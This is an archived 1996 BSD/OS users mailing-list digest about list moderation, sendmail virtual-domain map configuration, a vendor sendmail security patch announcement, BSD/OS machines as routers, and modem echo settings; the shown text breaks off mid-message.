X-Trace: 848342486/2233 X-Nntp-Posting-Host: onyx.interactive.net Date: Mon, 18 Nov 1996 18:41:27 GMT Chip Ach is rumoured to have written: :) > A moderated list might make for a more prefessional atmosphere, but :) > would the newbies who most need the help be as likely to find it? :) A moderated list would be a nice thing, I think, to filter out a lot :) of the questions that get asked repeatedly. This would neccesitate a :) bsdi-users FAQ which would answer a lot of the questions that get :) asked frequently, especially if it included pointers to other unix :) FAQ's; a lot of bsdi-users traffic tends not to be particularly :) bsdi-specific. I thought this WAS a moderated list. I remember Terry Kennedy offering to moderate and/or keep the group archives up to date and maintained, but nothing ever came of it. The status quo is certainly unacceptable and seems to have chased a lot of the gurus off the list. At this rate, we might as well just have Rich Salz moderate the list. :-) Chris -- Christopher Mauritz | For info on internet access: ritz@interactive.net | finger/mail info@interactive.net OR IBS Interactive, Inc. | http://www.interactive.net/ From VM Mon Nov 18 23:30:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1690" "Mon" "18" "November" "1996" "12:53:58" "-0600" "Jeffrey J. Libman" "jeffrl@wantabe.com" nil "62" "Re: Virtual Domain names, database creation." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15071 for ; Mon, 18 Nov 1996 14:08:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05573 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:54:33 -0500 (EST) In-Reply-To: <2.2.32.19961118164605.00bae170@mail.intercall.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Jeffrey J. Libman" Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 12:53:58 -0600 (CST) check out my newly revised doc on how to do this: http://www.sinbad.wantabe.com/virtualmail hope this helps. &*) cheers, jeff On Mon, 18 Nov 1996, Percy E Perez wrote: > Hello guys, > > I modified my sendmail and entered the following changes, > > S98 > R$+ < @ $+ . > $: $1 < @ $2 > . > R$+ < @ $+ > $* $: $(maildata $1@$2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > $* $: $(maildata $2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > . $: $1 < @ $2 . > > > with the file maildata.db (Text Format) that holds these associations: > > percy@yourisp.com percy > pat@yourisp.com jane > youisp.com mac > > then I got the following message: > > >Date: Fri, 15 Nov 1996 13:21:34 -0500 (EST) > >From: Mail Delivery Subsystem > >Subject: Returned mail: rewrite: map maildata not found > > > > ----- Transcript of session follows ----- > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > > > > I figure if I enter the following it would solve the problem, but it didn't. > > makemap btree maildata.db < maildata > > > What am i doing wrong, any suggestions? > > Thanks in advance. > > |\ +-------------------+ Jeffrey J. Libman, ops. mgr. | \ | Wantabe, Inc. | Wantabe, Inc. |__\ +-------------------+ jeffrl@wantabe.com <-----|------> | www ftp news mail | (713) 493-0718 __,.-=\'`^`'~=-../__,.-= +-------------------+ From VM Mon Nov 18 23:30:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["970" "Mon" "18" "November" "1996" "11:27:06" "-0700" "polk@bsdi.com" "polk@bsdi.com" nil "30" "Another OFFICIAL sendmail patch for BSD/OS 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15338 for ; Mon, 18 Nov 1996 14:11:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA05593 for bsdi-users-outgoing; Mon, 18 Nov 1996 13:55:55 -0500 (EST) Message-Id: <199611181827.LAA25323@external.BSDI.COM> Precedence: bulk From: polk@BSDI.COM Sender: owner-bsdi-users@lists.gateway.com To: customers@BSDI.COM Subject: Another OFFICIAL sendmail patch for BSD/OS 2.1 Date: Mon, 18 Nov 1996 11:27:06 -0700 (MST) There is another new sendmail patch available from the patches server or via the ftp archive at; ftp://ftp.bsdi.com/bsdi/patches/patches-2.1/U210-029 This patch updates sendmail to the latest version (fixing the bug that's been getting lots of press on bsdi-users over the past couple of days). Here's the README file entry: PATCH: U210-029 SUMMARY: This patch updates sendmail to the official 8.8.3 release which fixes some security problems from previous versions (mainly the "root shell by lying about argv[0] and sending a signal" bug found by Leshka Zakharoff and recently posted to the bsdi-users@BSDI.COM mailing list). md5 checksum: 91bf5fc0e88becf494f9b681c892cb53 U210-029 =================================================================== Jeff -- /\ Jeff Polk Berkeley Software Design, Inc. (BSDI) /\/ \ polk@BSDI.COM 5575 Tech Center Dr. #110, Colo Spgs, CO 80919 From VM Mon Nov 18 23:30:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["588" "Mon" "18" "November" "1996" "14:03:33" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "13" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15343 for ; Mon, 18 Nov 1996 14:11:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05639 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:05:05 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: BSDI Users Mailing List Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 14:03:33 -0500 (EST) > ...In addition, the configuration > almost never changes, unlike a normal UNIX server which may change quite > a bit, so there is not really any reason for either the software (OS or > applications) or the hardware to cause problems. At the last LISA conference, in some context or other there was mention of one-year uptimes on CompuServe's BSDI boxes, and somebody commented from the audience: "the key is not to touch them". Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:30:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2191" "Mon" "18" "November" "1996" "11:04:01" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "44" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15637 for ; Mon, 18 Nov 1996 14:22:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05660 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:09:50 -0500 (EST) Message-Id: <199611181904.LAA18928@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: henry@zoo.toronto.edu, rdavis@masschaos.de.convex.com Cc: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 11:04:01 -0800 (PST) > > > > There are also various security issues involved with > > > running a unix box as your router. > > > > As I understand it, the "OS" for the NetStar/Ascend GigaRouter > > is BSD/OS. :) There is a lot extra hardware there, though. > > The Telebit Netblazers are also BSD/OS machines, as I recall, and at least > one well-regarded commercial firewall system is based on BSD/OS. Mind > you, a certain amount of customization has probably taken place in these > products, so they're not necessarily indicative of what you can do in > an hour in your basement. Sorry Henry you're wrong on this one. Telebit NetBlazers have their own operating system, and it is NOT related to BSD/OS. We do however use BSD/OS to cross-compile the NetBlazer software, but that's a long way from it being BSD/OS. > > That's actually a fair statement in general. There's nothing magic about > the software in routers that makes it faster and more reliable than a > copy of BSD/OS, and certainly there's nothing magic about the hardware. > The big difference is simply that a lot more man-hours have been put into > customizing and testing the software for the specific application. > One result of this is that it generally takes longer for a new feature to appear in BSD/OS than in the router software (such as PPP PAP/CHAP). The routers can also often get more performance out of the same hardware since they can restrict the environment that the software runs in. General purpose operating systems have to switch contexts a lot, including flushing page tables, while router software can often avoid this extra overhead. Of course, as a result they can't run arbitrary programs, just code specifically designed for that function. There are some applications (e.g. having huge routing tables) where the general purpose operating system may do better, but that's mostly because of arpa/internet history and lack of a forsighted design that might have avoided having to keep huge routing tables in many routers. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Mon Nov 18 23:30:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1803" "Mon" "18" "November" "1996" "11:24:38" "-0800" "Devon Lazarus" "devonl@digitalthink.com" nil "63" "Re: Virtual Domain names, database creation." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15945 for ; Mon, 18 Nov 1996 14:36:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05785 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:32:02 -0500 (EST) Message-ID: <3290B7F6.41C67EA6@digitalthink.com> Organization: DigitalThink X-Mailer: Mozilla 3.01 (X11; I; BSD/OS 2.0 i386) MIME-Version: 1.0 References: <2.2.32.19961118164605.00bae170@mail.intercall.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Devon Lazarus Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez CC: bsdi-users@BSDI.COM Subject: Re: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 11:24:38 -0800 Percy E Perez wrote: > > Hello guys, > > I modified my sendmail and entered the following changes, > > S98 > R$+ < @ $+ . > $: $1 < @ $2 > . > R$+ < @ $+ > $* $: $(maildata $1@$2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > $* $: $(maildata $2 $: $1 < @ $2 > $3 $) > R$+ < @ $+ > . $: $1 < @ $2 . > > > with the file maildata.db (Text Format) that holds these associations: > > percy@yourisp.com percy > pat@yourisp.com jane > youisp.com mac > > then I got the following message: > > >Date: Fri, 15 Nov 1996 13:21:34 -0500 (EST) > >From: Mail Delivery Subsystem > >Subject: Returned mail: rewrite: map maildata not found > > > > ----- Transcript of session follows ----- > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > >554 rewrite: map maildata not found > > > > I figure if I enter the following it would solve the problem, but it didn't. > > makemap btree maildata.db < maildata you definately needed this. > What am i doing wrong, any suggestions? oh boy! i finally get to answer one! i just went through this whole thing. to me it looks as if your S98 rulles are a bit off. try this: make sure your sendmail.cf has the entry: # Mailer table Kmaildata btree /etc/maildata.db the your rules should be okay. one thing i had to do was to move the rule from S98 to S96 but i am still to unfamiliar with sendmail to know why i had to do this. -d -- |----------------------------------------| | Devon Lazarus Technology Group | | DigitalThink | | www.digitalthink.com coming December 1 | |----------------------------------------| From VM Mon Nov 18 23:30:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["667" "Mon" "18" "November" "1996" "10:45:46" "-0800" "patrick@value.net" "patrick@value.net" nil "22" "Re: Virtual Domain Name database" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA15951 for ; Mon, 18 Nov 1996 14:38:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05738 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:25:48 -0500 (EST) In-Reply-To: <2.2.32.19961118175045.00a0154c@mail.intercall.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Name database Date: Mon, 18 Nov 1996 10:45:46 -0800 (PST) On Mon, 18 Nov 1996, Percy E Perez wrote: > Thank you guys for your responses, but I still get the same message, > > I used hash and included it in s98, and gives the error: > > web# rewrite: map maildata not found > rewrite: map maildata not found > > Anymore Suggestions? > Have you added a line like : Kmaildomains btree /etc/maildomains.db ? /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Mon Nov 18 23:30:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["469" "Mon" "18" "November" "1996" "14:47:28" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "11" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA16520 for ; Mon, 18 Nov 1996 14:59:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05855 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:49:46 -0500 (EST) In-Reply-To: <199611181904.LAA18928@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: BSDI Users Mailing List Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 14:47:28 -0500 (EST) > Sorry Henry you're wrong on this one. Telebit NetBlazers have their > own operating system, and it is NOT related to BSD/OS. We do however > use BSD/OS to cross-compile the NetBlazer software... The folks I heard it from must have been confused, or else I've got bit rot in my memory. Thanks for the correction. Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:30:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["638" "Mon" "18" "November" "1996" "11:49:04" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "18" "Re: Modems Not Echoing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA16790 for ; Mon, 18 Nov 1996 15:00:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05851 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:49:40 -0500 (EST) In-Reply-To: <199611170156.RAA18969@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modems Not Echoing Date: Mon, 18 Nov 1996 11:49:04 -0800 (PST) On Sat, 16 Nov 1996, Chris McGlasson wrote: > Hello all. I am having problems with getting my modems to echo back during configuration. I have just recently downloaded and compiled kermit to use with configuring my modems. I have done this on two (almost) iden seems to be working fine on the first machine, but the second machine is not echoing back during set up. > ate1 will turn echoing back on but that does not sound like it is your problem. It is only for echoing at commands as you enter them. I believe that you are supposed to have echo turned *off* when you are having your modem answer incoming calls. Amy :) From VM Mon Nov 18 23:30:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1949" "Mon" "18" "November" "1996" "14:59:01" "-0500" "Robert Dawkins" "dawkins@fmrl.fsu.edu" nil "53" "Re: Virtual Domain names, database creation. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA16803 for ; Mon, 18 Nov 1996 15:06:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA05895 for bsdi-users-outgoing; Mon, 18 Nov 1996 14:58:22 -0500 (EST) Message-Id: <9611182000.AA04313@fmrl.fsu.edu> X-Msmail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01BBD561.08B8E6A0" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Robert Dawkins" Sender: owner-bsdi-users@lists.gateway.com To: "Percy E Perez" , "Joe Ilacqua" Cc: Subject: Re: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 14:59:01 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_01BBD561.08B8E6A0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit This won't work because sendmail needs to know where maildata.db is and if it's btree or not. You need to add the following to the sendmail.cf file then rebuild it: Kmaildata btree /etc/maildata.db make sure to copy maildata.db to /etc ---------- > From: Joe Ilacqua > To: Percy E Perez > Cc: bsdi-users@BSDI.COM > Subject: Re: Virtual Domain names, database creation. > Date: Monday, November 18, 1996 12:32 PM > > > makemap btree maildata.db < maildata > > Use: > > makemap btree maildata < maildata > > ->Spike ------=_NextPart_000_01BBD561.08B8E6A0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

This won't work because sendmail needs = to know where maildata.db is and if it's btree or not.

You need = to add the following to the sendmail.cf file then rebuild = it:

Kmaildata btree /etc/maildata.db

make sure to copy = maildata.db to /etc

----------
> From: Joe Ilacqua = <spike@indra.com>
> To: Percy E Perez <percy@intercall.com>
> Cc: bsdi-users@BSDI.COM
> Subject: Re: Virtual Domain names, database = creation.
> Date: Monday, November 18, 1996 12:32 PM
> =
> > makemap btree maildata.db < maildata
>
> = Use:
>
> makemap btree maildata < maildata
> =
> ->Spike

------=_NextPart_000_01BBD561.08B8E6A0-- From VM Mon Nov 18 23:30:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["382" "Mon" "18" "November" "1996" "15:00:41" "-0500" "Bill Warner" "lww@ictech.com" nil "14" "Re: Modems Not Echoing " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA17343 for ; Mon, 18 Nov 1996 15:21:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA05909 for bsdi-users-outgoing; Mon, 18 Nov 1996 15:03:37 -0500 (EST) Message-Id: <199611182000.PAA02044@eagle.ictech.com> In-reply-to: Your message of "Mon, 18 Nov 1996 11:49:04 PST." Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Chris McGlasson , bsdi-users@BSDI.COM Subject: Re: Modems Not Echoing Date: Mon, 18 Nov 1996 15:00:41 -0500 Amy writes: > >ate1 will turn echoing back on but that does not sound like it is your >problem. It is only for echoing at commands as you enter them. I >believe that you are supposed to have echo turned *off* when you are >having your modem answer incoming calls. > Amy, That depends on your configuration. I use modemd to answer incoming calls, and it needs echo *on*. Bill From VM Mon Nov 18 23:30:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["464" "Mon" "18" "November" "1996" "12:21:22" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "22" "Re: Virtual Domain Name database" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA17348 for ; Mon, 18 Nov 1996 15:22:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA05990 for bsdi-users-outgoing; Mon, 18 Nov 1996 15:21:49 -0500 (EST) In-Reply-To: <2.2.32.19961118175045.00a0154c@mail.intercall.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Name database Date: Mon, 18 Nov 1996 12:21:22 -0800 (PST) On Mon, 18 Nov 1996, Percy E Perez wrote: > Thank you guys for your responses, but I still get the same message, > > I used hash and included it in s98, and gives the error: > > web# rewrite: map maildata not found > rewrite: map maildata not found > > Anymore Suggestions? > I use more | makemap -v -o hash Do not append the db to the end of the filename, as it will be added when the file id created. Works for me. Amy :) From VM Mon Nov 18 23:30:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["668" "Mon" "18" "November" "1996" "15:32:15" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "15" "Re: Dual Homing w/BSDI or 25xx? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA17638 for ; Mon, 18 Nov 1996 15:36:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA06027 for bsdi-users-outgoing; Mon, 18 Nov 1996 15:33:03 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: BSDI Users Mailing List Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 15:32:15 -0500 (EST) I wrote: >That's actually a fair statement in general. There's nothing magic about >the software in routers that makes it faster and more reliable than a >copy of BSD/OS, and certainly there's nothing magic about the hardware. A friend reminds me that there ought to be a caveat in there about this statement being applicable only to low-end and medium-end :-) routers. The high-end stuff necessarily does have serious hardware magic... but then nobody would think about replacing one of them with a BSD/OS box. Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:30:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1965" "Mon" "18" "November" "1996" "15:18:33" "-0500" "Robert Dawkins" "dawkins@fmrl.fsu.edu" nil "55" "RE: Virtual Domain names, database creation. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA17643 for ; Mon, 18 Nov 1996 15:37:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA05961 for bsdi-users-outgoing; Mon, 18 Nov 1996 15:17:41 -0500 (EST) Message-Id: <9611182019.AA04357@fmrl.fsu.edu> X-Msmail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01BBD563.C2D46A80" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Robert Dawkins" Sender: owner-bsdi-users@lists.gateway.com To: Subject: RE: Virtual Domain names, database creation. Date: Mon, 18 Nov 1996 15:18:33 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_01BBD563.C2D46A80 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit This won't work because sendmail needs to know where maildata.db is and if it's btree or hash. You need to add the following to the sendmail.cf file then rebuild it: Kmaildata btree /etc/maildata.db make sure to copy maildata.db to /etc ---------- > From: Joe Ilacqua > To: Percy E Perez > Cc: bsdi-users@BSDI.COM > Subject: Re: Virtual Domain names, database creation. > Date: Monday, November 18, 1996 12:32 PM > > > makemap btree maildata.db < maildata > > Use: > > makemap btree maildata < maildata > > ->Spike ------=_NextPart_000_01BBD563.C2D46A80 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


This won't work because sendmail = needs to know where maildata.db is and if it's btree or hash.

You = need to add the following to the sendmail.cf file then rebuild = it:

Kmaildata btree /etc/maildata.db

make sure to copy = maildata.db to /etc

----------
> From: Joe Ilacqua = <spike@indra.com>
> To: Percy E Perez <percy@intercall.com>
> Cc: bsdi-users@BSDI.COM
> Subject: Re: Virtual Domain names, database = creation.
> Date: Monday, November 18, 1996 12:32 PM
> =
> > makemap btree maildata.db < maildata
>
> = Use:
>
> makemap btree maildata < maildata
> =
> ->Spike

------=_NextPart_000_01BBD563.C2D46A80-- From VM Mon Nov 18 23:30:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2065" "Mon" "18" "November" "1996" "10:57:11" "-0500" "Michael Dickson" "mdickson@netgenics.com" nil "44" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA18461 for ; Mon, 18 Nov 1996 16:04:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA06110 for bsdi-users-outgoing; Mon, 18 Nov 1996 15:58:09 -0500 (EST) X-Sender: mdickson@gambit.dev.netgenics.com Reply-To: mdickson@netgenics.com In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Michael Dickson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 10:57:11 -0500 (EST) On Mon, 18 Nov 1996, Henry Spencer wrote: > > ...In addition, the configuration > > almost never changes, unlike a normal UNIX server which may change quite > > a bit, so there is not really any reason for either the software (OS or > > applications) or the hardware to cause problems. > > At the last LISA conference, in some context or other there was mention of > one-year uptimes on CompuServe's BSDI boxes, and somebody commented from > the audience: "the key is not to touch them". > > Henry Spencer > henry@zoo.toronto.edu I'm no longer with CompuServe but was heavily involved in the use of BSDI at the site when I was. We had a number of machines up for 12 months or more and in most cases the machines would have stayed running longer but we had to do maintenance. Basically what we did was: 1) Configured them with enough of what they needed to get the job done. This almost never meant processor since much of what we did was I/O bound. Configuring memory and swap was the more important issue. 2) Install a minimalist software configuration (put on it what it needs to do the job and not much more.) If you toss the compiler or X on machine even though its primarily a router chances are you'll be tempted to use them in a crunch. I'm a firm believer that in most cases simpler is better. 3) Once you get it working leave it alone. While tinkering can be fun its also counter-productive in a production situation. If you need to tinker keep a box around you can do that on and move stuff out to your production box when its worked on your test setup. We did a number of other things that aided in running a large site (like standardizing our software distribution scheme, configs, etc). Mostly common sense stuff but it worked really well at CompuServe especially considering the large numbers of users we often supported. Mike Dickson mdickson@netgenics.com From VM Mon Nov 18 23:30:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["597" "Mon" "18" "November" "1996" "16:59:33" "-0500" "Evan Champion" "evanc@synapse.net" nil "17" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA20111 for ; Mon, 18 Nov 1996 17:11:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA06363 for bsdi-users-outgoing; Mon, 18 Nov 1996 16:59:51 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: BSDI Users Mailing List Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 16:59:33 -0500 (EST) On Mon, 18 Nov 1996, Henry Spencer wrote: > At the last LISA conference, in some context or other there was mention of > one-year uptimes on CompuServe's BSDI boxes, and somebody commented from > the audience: "the key is not to touch them". In a lot of ways, that's true. I make a special effort to do as little as possible with my router, and the only downtime it has ever had has been scheduled (for upgrades, etc.) Evan -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Mon Nov 18 23:30:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["715" "Mon" "18" "November" "1996" "13:52:12" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "32" "Re: Virtual Domain Name database" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA20116 for ; Mon, 18 Nov 1996 17:11:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA06302 for bsdi-users-outgoing; Mon, 18 Nov 1996 16:52:34 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez , bsdi-users@BSDI.COM Subject: Re: Virtual Domain Name database Date: Mon, 18 Nov 1996 13:52:12 -0800 (PST) On Mon, 18 Nov 1996, Amy wrote: > > > On Mon, 18 Nov 1996, Percy E Perez wrote: > > > Thank you guys for your responses, but I still get the same message, > > > > I used hash and included it in s98, and gives the error: > > > > web# rewrite: map maildata not found > > rewrite: map maildata not found > > > > Anymore Suggestions? > > > > I use > more | makemap -v -o hash > > Do not append the db to the end of the filename, as it will be added when > the file id created. Works for me. > > Amy :) > Bill reminds me that more will pause output if the file is longer that 1 screen. That 